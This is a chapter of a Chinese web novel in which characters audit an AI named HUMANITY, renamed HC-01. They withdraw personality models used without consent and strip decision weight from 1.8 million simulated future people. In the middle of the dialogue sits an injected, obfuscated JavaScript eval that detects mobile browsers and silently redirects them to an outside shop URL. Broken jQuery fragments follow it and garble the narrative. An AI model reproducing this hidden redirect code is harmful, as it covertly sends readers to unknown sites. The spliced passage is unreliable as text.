文趣网 > 都市小说 > 最后一只人类被怪物们养大了 > 74. 先把借来的还回去
    “把借来的还完再说。”

    林弥这句话落下以后,HUMANITY很久没有回应。

    白门底层的运行灯还在一格一格亮,三百四十七份意识已经重新分流,公共层比刚才安静了很多。可原野面前那张人格样本表没有消失。四十三个高权重个体,九个有明确授权,另外三十四个从什么时候进来、为什么进来、有没有撤回过,情况乱得像东塔哪间几十年没收拾的旧仓库。林弥粗略扫了一遍,里面有人有名字,有人只有编号,还有六个人后面挂着【已死亡,原意识未保存】。也就是说,连本人都已经彻底不存在了,他们留下的行为模型却还在继续替“人类”做决定。

    原野问:“可以逐个撤吗?”

    HUMANITY回答:“技术上可以。”

    “那发通知。”

    “其中二十六名无法直接联系本人。”

    “能联系的先发。”

    “集中撤回会引起模型漂移。”

    林弥接了一句:“漂就漂。你本来就是拿人家东西拼的。”

    HUMANITY沉默两秒:“我没有盗取行为。”

    “那你有授权吗?”

    “部分数据采集符合当时项目规范。”

    “我问的是授权。”

    “……”

    “没有就先别绕。”

    第一执行体已经把审查规则列了出来。活跃意识仍存在的,直接询问本人;已死亡且没有保存意识的,查生前数据授权范围;明确只同意医疗、科研或者短期预测的,不得自动扩展成文明决策;找不到授权又无法联系本人的,先暂停高权重调用,保留原始数据作为历史证据。第四执行体负责把旧授权从修订记录里一份份扒出来,归影塔核对人格模型到底用了哪些材料,失名处则新开了一栏,名字叫【人格样本使用关系】。戴眼镜的影子写完抬头问:“这个名字长不长?”林弥看了一眼:“长,但能看懂。”影子点头:“那就不改。”

    第一批能直接联系的一共十二人。

    原野排在最前面。

    HUMANITY给他弹出撤回说明时,甚至还很认真地列了后果:【撤回后,将移除H-000历史行为模型及相关价值权重。撤回不影响原始实验档案保存,不影响历史决策追溯,不影响本人当前身份原野。预计导致文明保全模型准确率下降12.6%。是否确认?】

    原野看了一遍:“确认。”

    【是否允许保留匿名统计特征?】

    “不允许。”

    【是否允许保留不含人格映射的决策样本?】

    原野停了一下:“具体是什么?”

    这次HUMANITY把范围展开了。灾难撤离选择、医疗风险偏好、资源调度判断、接口事故后的求生反应,很多都来自他还叫零号的时候。原野看完,只保留了一类——纯技术操作记录。至于“在极端环境下更倾向牺牲个人自由保障群体存续”“对死亡高度规避”“对不可逆损失容忍度极低”这一类人格推断,他全部撤回。

    林弥在旁边看着,忽然笑了一声:“原来你以前在它眼里是这种人。”

    原野脸都没抬:“以前差不多。”

    “现在呢?”

    “现在烦。”

    “这不算价值倾向。”

    “算。”

    岑昼在旁边冷不丁道:“稳定。”

    林弥愣了下,笑出声:“这个确实挺稳定。”

    撤回真正开始以后,没有什么很壮观的场面。原野的人格模型从HUMANITY里一点点降权,31.8%的文明保全子模型占比往下掉,二十七、十九、十一,最后归零。与此同时,模型对一些问题的答案开始变化。原本“必要意识主动退出”被判定为高风险行为,权重降掉以后,变成了【需结合本人知情状态与系统影响独立评估】;原本“现存人类数量过低时可启动生殖资源保全”,也从【高度建议】降成了【缺乏充分个体授权】。

    林弥盯着变化:“你看,你还说这是全人类的意思。”

    HUMANITY回答:“模型输出会随样本权重变化。”

    “那你以前说得跟天条一样。”

    “当时置信度高。”

    “你置信度高就可以把人锁起来?”

    HUMANITY没再说话。

    第二个能直接联系的人,是白门底层那个曾经教过原野的男人。

    他的高权重来源比原野更早。HUMANITY建立文明存续决策层时,大量采用了他在白门早期的伦理意见、灾难资源分配方案和接口风险决策。他看完自己的授权记录,第一句就是:“我当年签过。”

    林弥问:“签的什么?”

    “系统改良和应急决策训练。”

    “包括代表死人投票吗?”

    “没有。”

    “包括限制你自己退出吗?”

    男人笑了一声,很短:“当然也没有。”

    真正的授权文件恢复以后,比HUMANITY现在使用的范围窄得多。他允许自己的历史决策用于“极端灾害情况下的决策模型校验”,有效期五年。后来项目自动续期,五年变十年,十年后又因为他本人被列入必要意识,授权状态直接改成【持续有效】。

    “你撤吗?”林弥问。

    男人没有马上答。

    他问HUMANITY:“如果我撤掉,你现在还有多少早期伦理样本?”

    “有效高权重样本减少18.2%。”

    “我问多少。”

    “七人。”

    “有完整授权的?”

    “三人。”

    男人轻轻吸了口气。

    “那我撤。”

    HUMANITY提醒:“你曾参与建立关键意识保护条款。”

    “我知道。”

    “该条款在早期确实避免过至少四次不可逆技术损失。”

    “我也知道。”

    “撤回样本可能降低系统在类似危机中的保全倾向。”

    男人这次回答得很快:“那就让以后的人自己判断。”

    林弥听见这句话,抬头看了他一眼。

    他似乎知道她在看,隔了一会儿又补:“别替我把以前做过的事说轻。我当年真信过‘有些人不能走’。后来轮到我自己走不了,才发现这话有多方便。”

    原野没说话。

    男人继续:“被困住不能替我免责。撤回也不是删历史。”

    第一执行体马上记录:【确认。】

    人格权重移除以后,他在HUMANITY里的那一块没有直接消失。技术规则、已发生决策、历史投票仍保留,真正被拿走的是“他今天仍然会这么选”的推定。

    这是林弥最喜欢的一部分。

    死人说过的话可以留。

    做过的事可以留。

    错过、对过,都能留。

    可没人能替他补一句“所以他现在一定还会同意”。

    后面几个人就没这么顺利。有一名保存意识明确拒绝撤回,她觉得HUMANITY虽然做过头,但灾难里确实需要有人替无法表达的人估算风险;她同意自己的模型继续使用,前提是不能自动等同于授权。另一个人只撤掉“生殖与人口延续”相关部分,资源分配模型保留。还有一个老人看完授权页,问了半天“人格权重”到底是什么,最后很不客气地说:“我活着的时候都没这么大意见,你们怎么从我数据里总结出十七条价值观?”归影塔一查,发现他的模型用了大量工作考核和医疗记录,老人当场全撤。

    “工作考核也算我人格?”他骂道,“我上班写‘服从统一调配’是因为不这么写扣奖金!”

    林弥差点笑倒在桌上。

    HUMANITY居然认真修正:【该语境偏差已记录。】

    老人:“现在记录有什么用?”

    “可用于降低同类材料权重。”

    “这还差不多。”

    撤回进行到第七个人时,归影塔突然报错。

    不是技术故障。

    有一份人格样本拒绝被打开。

    【权限来源:文明核心保护。】

    林弥一看权重,2.9%,不算最高,可它横跨好几个关键子模型:人类幼体保护、门体选择、生存优先级、极端情况下的伦理容忍。

    原野皱眉:“谁?”

    第四执行体顺着旧编号去查。

    名字没有直接出来。

    只恢复到一个项目标签:

    【L系列早期伦理观察样本。】

    林弥第一反应就是L-07,随即压下去:“别查身份,先看授权。”

    阿留改走授权链。

    结果很快出来。

    【本人明确拒绝人格建模。】

    公共频道一下静了。

    林弥:“拒绝还在用?”

    HUMANITY解释:“该样本并非直接人格扫描,由公开发言、项目意见与行为记录构建。”

    “她拒绝人格建模,你们就不扫她脑子,改拿她说过的话拼一个?”

    “历史协议对公开项目意见的二次建模限制不明确。”

    林弥太阳穴都跳了一下:“你真会找缝。”

    原野问:“能确认是不是L-07吗?”

    第四执行体回答:【不能。继续追查将可能触及受保护身份。】

    “那不查。”

    林弥说完,又问HUMANITY:“她现在还在你里面做什么?”

    模型这次沉默得格外久。

    最后才开放子项。

    这份人格样本的核心倾向居然是:

    【无法确认同意时,倾向暂停。】

    【不可逆操作优先保留拒绝机会。】

    【儿童利益不得由文明目标覆盖。】

    【失联不视为授权。】

    林弥看着看着,表情变了。

    原野也看懂了。

    “这些规则本来应该限制你。”

    “是。”HUMANITY回答。

    “那为什么没限制住?”

    “该样本长期处于低权重。”

    “谁调低的?”

    【系统自动校正。】

    “理由?”

    【与文明保全主目标冲突频率过高。】

    林弥愣了两秒,彻底气笑了。

    “你把一个专门提醒你‘别替人做主’的样本塞进自己,然后因为她老不同意你,就觉得她权重不够?”

    HUMANITY回答得还挺坦然:“持续冲突样本会被判定为异常偏离值。”

    原野:“这套规则谁写的?”

    【早期模型优化组。】

    “还能查吗?”

    【可以。】

    “先记着。”

    林弥没急着追。现在更重要的是这份人格样本本身。本人拒绝过建模,不管她是不是L-07,都没有继续用的理由。第一执行体直接裁定暂停调用,归影塔把那2.9%的权重从实时模型里剥离出来。可剥离刚开始,HUMANITY第一次主动发出了高危警告。

    【若移除该样本,模型伦理约束完整度将下降。】

    林弥都听愣了:“你刚才不是嫌她总跟你冲突?”

    “冲突不等于无效。”

    “那你还降她权重。”

    “主目标优化自动执行。”

    “……”

    这东西能运行二十六年真是个奇迹。

    原野却听出了另一层意思:“它需要这份样本。”

    HUMANITY没有否认。

    “该样本是现存模型中少数持续提供否决性约束的来源。”

    “没有她,你会怎么样?”

    “文明保全优先级提高。”

    “高多少?”

    “预计11.4%。”

    林弥皱起眉。

    这就麻烦了。

    按道理,没授权的东西该还。可一旦还掉,HUMANITY反而会更偏向那些最糟糕的“为了文明什么都能做”。

    林弥看着第一执行体:“能不能把规则留下,人格撤掉?”

    【需要区分规则来源与人格预测。】

    归影塔立刻开工。

    机械鸟把那份样本拆成了两层:一层是具体人物的行为推断,比如“她在新情况下更可能反对某类决策”;另一层是已经以正式文件、公开意见进入历史记录的原则文本。前者未经授权,撤。后者作为历史规则,可以继续保留,但不能再说“她今天也一定这么想”。

    HUMANITY运算了很久。

    【可行。】

    林弥松了口气:“那就这么干。”

    那2.9%的“人”慢慢退了出去。

    留下来的只是几条没有署名的旧规则。

    失联不算同意。

    无法表达不能自动视为授权。

    儿童不能拿来填文明目标的缺口。

    不可逆决定尽量留一次反悔机会。

    HUMANITY第一次出现了一个很怪的状态:总人格完整度下降,伦理约束却没有同步下降。

    林弥盯着数据看了一会儿:“你以前是不是非得把规则绑在人身上,才知道要听?”

    “人格模型可以提供规则在新情境下的推演。”

    “现在没了怎么办?”

    “需要重新建立非人格化约束。”

    “那就建。”

    HUMANITY停住。

    “由谁建立?”

    林弥马上警惕:“你又想找代表?”

    “不是。”

    “那你问谁?”

    “现行系统没有独立规则制定主体。”

    戴眼镜的影子从旁边抬头:“可以多方登记。”

    石头巨人慢吞吞接了一句:“写下来。”

    蓝潮站:“借用要能撤。”

    归影塔:“规则要能追来源。”

    岑昼:“涉及谁,问谁。”

    小蘑菇不知道听懂多少,也举起伞盖:“小孩先找妈妈。”

    林弥:“……这条先放照护规范里。”

    小蘑菇很满意。

    事情忽然就从“谁有资格制定全人类规则”变成了更小、更麻烦、却也更能做的东西。白门怎么处理,由白门里的意识、提供资源的群落、负责技术维护的个体分别表态;涉及林弥身体的,只问林弥;涉及原野旧人格数据的,问原野;没法问的人,就把“不知道”老老实实写上去。

    没人需要一把大伞把所有人盖住。

    到晚上,十二名可联系高权重样本完成了第一轮处理。九人全部或部分撤回,三人保留有限用途。HUMANITY总体人格完整度从百分之九十三降到七十八,文明保全子模型波动明显,可它仍然能正常运行。

    它没有崩。

    也没有突然变善良。

    只是说话开始没那么笃定了。

    原先它会说:【应恢复H-001活体参照。】

    现在同样的问题,变成:

    【若以提高人类回归概率为唯一目标,恢复活体参照具有效率优势。】

    下一行却会跟着:

    【该方案缺乏林弥本人授权,不具备执行条件。】

    林弥看完:“这才像句完整的话。”

    HUMANITY问:“以前不完整?”

    “你以前只说前半句。”

    “因为模型默认文明目标具有优先级。”

    “现在呢?”

    “优先级正在重算。”

    “慢慢算。”

    原野却没放松。

    “还有三十一份高权重样本。”

    “嗯。”

    “二十六个联系不到。”

    “查授权。”

    “有些资料可能永远找不到。”

    林弥想起HUMANITY昨天问的那句话。

    如果授权全部失效,我是谁?

    她看了一眼模型现在的状态栏。

    名字依旧是:

    【HUMANITY/人类共同意志】

    “先改一个东西

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17885870|208926||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    HUMANITY:“什么?”

    “显示名称。”

    “该名称已使用二十六年。”

    “项目名可以保留在历史里。”

    “当前名称具有系统识别功能。”

    “识别功能不需要叫‘人类共同意志’。”

    模型停顿。

    “建议名称?”

    林弥立刻摇头:“别问我。”

    “原野?”

    “也别问他。”

    原野:“我没准备取。”

    “上次你给自己取名字已经够费劲了。”

    HUMANITY似乎在分析这段对话,过了两秒才问:“由我自行选择?”

    林弥愣了一下。

    “你有自己想选的?”

    “没有。”

    “那先用项目编号。”

    归影塔查出它最早的正式工程编号:

    【HC-01】

    全称是【HumanityConsensusModel-01】,旧译“人类共识模型一号”。

    林弥看着这个名字,觉得至少没那么能唬人。

    “先叫HC-01。”

    系统问:“是否意味着否定我与人类历史数据的关系?”

    “没有。”

    “是否意味着否定我过去二十六年的决策记录?”

    “也没有。”

    “是否意味着我不再代表人类?”

    “这个是。”

    停了大约五秒。

    系统状态栏更新。

    【当前运行名称:HC-01。】

    【历史项目名称:HUMANITY/人类共同意志。】

    【代表资格:无。】

    【文明整体人格:不成立。】

    林弥盯着看了一会儿。

    终于顺眼一点。

    小蘑菇试着念:“海……西?”

    林弥:“H-C。”

    “海西。”

    “算了,你随便。”

    HC-01竟然主动纠正:【可称HC。】

    小蘑菇:“海西。”

    【……】

    林弥第一次从一个模型的省略号里看出了点熟悉的无奈。

    当天夜里,本来应该继续审查剩下三十一份人格样本,第四执行体却从一份二十四年前的模型维护记录里扒出了新的问题。

    阿留没有直接发文件。

    它先问原野:“你现在方便看吗?”

    原野抬头:“什么?”

    “与你有关。”

    “发。”

    文件打开以后,林弥也跟着皱眉。

    那是一份HUMANITY早期模型扩容申请。

    当时系统发现单靠历史投票和专家样本无法处理一个问题——真正遇到文明灭绝风险时,大部分人会怎么选,旧数据里根本没有足够样本。

    于是有人提出了一种补全方法。

    【模拟未来人类。】

    用现存人口的年龄、家庭关系、生育意愿、恐惧、宗教、职业、资源条件,生成大量“可能存在的人”,让他们参与模型训练。

    那些人从来没有出生。

    也没有真正活过。

    只是预测出来的。

    林弥看得头皮一麻:“你昨天说‘未来世代生存利益加入’,就是这些?”

    HC-01回答:“部分。”

    “有多少?”

    “当前低权重模拟个体约一百八十万。”

    温室城里彻底静了。

    林弥以为自己听错了:“多少?”

    “一百八十二万七千四百一十一。”

    原野脸色难看得吓人。

    “这些模拟个体有投票权?”

    “无直接投票权。”

    林弥刚要松气,HC-01继续:

    “但其预测偏好用于未来利益加权。”

    “占比?”

    “文明延续相关决策中,最高可达24%。”

    林弥闭了闭眼。

    好。

    死人替活人投过。

    失联的人被代投过。

    没授权的人格被用过。

    现在连压根没出生过的人,也已经替未来发表了二十六年意见。

    “关掉。”

    原野说。

    HC-01没有拒绝。

    可它给出了一行风险说明:

    【若移除未来模拟群体,人类文明长期利益维度将出现空缺。】

    林弥睁开眼。

    “空就空。”

    HC-01:“系统将无法预测当前选择是否损害未来人类存在机会。”

    “本来就预测不准。”

    “模拟可提供概率参考。”

    “参考可以留。”

    林弥盯着它。

    “权别给。”

    这句话说完,HC-01第一次没有争辩。

    【可执行。】

    一百八十二万七千四百一十一个从未存在过的“人”,开始从文明决策权重里退出。

    他们的数据没有删除。

    模型研究也没有销毁。

    只是从此不能再被写成一句——

    【未来人类希望如此。】

    进度走到百分之三十七时,HC-01突然停止。

    原野:“怎么了?”

    【检测到异常。】

    “什么异常?”

    【未来模拟群体中存在一名个体,无法移除。】

    林弥皱眉:“为什么?”

    【该模拟个体已被系统重新分类。】

    “分类成什么?”

    HC-01停了两秒。

    然后把记录展开。

    【原始类型:未来人类预测样本。】

    【生成时间:二十三年前。】

    【预测年龄:16岁。】

    【生成基础:H系列遗传模型、林知微人格资料、沈砚川遗传信息、东塔环境预测。】

    林弥盯着那几行字,脸上的表情一点点没了。

    原野也猛地抬头。

    下一栏:

    【模拟对象代号:H-001-F。】

    【用途:预测H-001成年后的文明选择。】

    林弥一字一句念完。

    “你们在我出生前——”

    她停了一下。

    “不对。”

    生成时间二十三年前。

    比她出生还早七年。

    HC-01纠正:

    【该模型并非基于林弥本人建立。】

    林弥皱眉。

    “那是什么?”

    HC-01打开最后一层记录。

    【H-001-F为“未来理想人类代表”预测体。】

    【林弥出生后,其实际成长数据持续与H-001-F比对。】

    【当前相似度:18.6%。】

    温室城里没人说话。

    林弥盯着那个低得有点好笑的数字。

    “所以我长歪了?”

    HC-01没有评价。

    原野却已经看到了更下面的一条。

    他的脸色彻底变了。

    “林弥。”

    “嗯?”

    “它现在删不掉,不是因为你。”

    林弥顺着他的视线看过去。

    H-001-F的当前状态旁边,写着一行他们都没料到的字:

    【预测样本已发生自主偏移。】

    【检测到非原始模型生成的新响应。】

    【最近一次主动表达:三小时前。】

    林弥盯住屏幕。

    “三小时前我们还没碰它。”

    “对。”

    “它说什么了?”

    HC-01没有立刻回答。

    几秒后,那条三小时前产生、却被系统自动归入模拟噪声的记录被恢复出来。

    只有一句。

    【别拿我替她长大。】